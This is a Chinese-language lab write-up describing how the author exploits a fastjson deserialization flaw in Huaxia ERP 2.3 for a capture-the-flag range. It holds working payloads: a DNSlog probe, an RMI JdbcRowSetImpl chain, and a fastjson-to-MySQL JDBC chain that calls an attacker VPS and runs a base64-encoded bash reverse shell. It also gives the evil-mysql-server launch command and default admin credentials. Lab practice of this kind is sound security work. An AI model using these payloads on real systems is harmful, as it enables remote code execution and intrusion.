前言:
在打春秋云境Exchange 靶场时,入口点是华夏ERP 2.3版本系统,存在fastjson 反序列化漏洞,在尝试常见的fastjson利用链反弹shell都没有反应,最终使用mysql JDBC利用链反弹shell成功。在此记录一下。
复现本地靶场搭建
在打靶场过程中,迟迟没有利用成功,在本地搭建靶场先进行反序列化利用测试,github下载jshERP-2.3版本源码。
本地用到的工具和数据库环境:
1. IntelliJ IDEA 2020.3.2(使用tomcat 8.5.34,jdk8)
2. 10.3.7-MariaDB(mysql 5.7)
1、使用IDEA打开下载的jshERP-2.3项目源码,修改配置文件
修改application.properties配置文件的数据库连接用户密码
我这里使用的tomcat为8.5.34版本
2、导入数据库
本地创建jsh_erp数据库,导入jsh_erp.sql文件执行生成表数据
3、运行靶场
运行ErpApplication 入口文件,启动靶场,无报错成功运行。
4、反序列化利用
靶场入口是华夏ERP系统,默认管理员账号密码可以进行登录:admin/123456
登录到后台,华夏ERP系统历史版本中存在很多漏洞的,包括fastjson 反序列化漏洞,这里在用户管理查询中触发
验证fastjson 反序列化漏洞存在payload:
{"@type":"java.net.Inet4Address","val":"fvnp2k.dnslog.cn"}
进行url编码后在search值发送
burp中进行数据包发送
dnslog收到消息
后续中在利用fastjson 反序列化执行命令都是无一失败,IDEA中看到都是类似失败提示not support com.sun.rowset.JdbcRowSetImpl,不支持这些利用链如下,还有更多的这里没有列出来
exp:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx.xx.xx.xx:1099/Exploit", "autoCommit":true
}
在搜索fastjson 反序列化与JDBC之后发现可以使用fastjson加mysql反序列化,细看了解之后复现测试
参考1:
http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA
参考2:
https://www.cnblogs.com/kingbridge/articles/16720318.html
从华夏ERP源码配置使用的依赖符合触发条件
evil-mysql-server、ysoserial-all.jar
在复现中需要使用到evil-mysql-server、ysoserial-all.jar 反序列化利用工具
evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial
ysoserial-all.jar: java反序列利用神器
下载地址:
https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial
反弹shell
在vps服务器上下载evil-mysql-server、ysoserial-all.jar工具回来放在同一目录下,执行命令运行
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar
用到的Fastjson 反序列化exp ,只需要修改vpsIP地址和要执行的命令(base64编码后的命令)
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP地址",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
url编码后发送
vps中收到了数据请求,由于靶场是windows系统不能反弹shell,但是可以看到靶场服务器向vps请求, 执行了恶意的反序列化代码
最后发现可行之后,也是立马开启了春秋云境Exchange 靶场,使用fastjson+mysql JDBC利用链反弹shell成功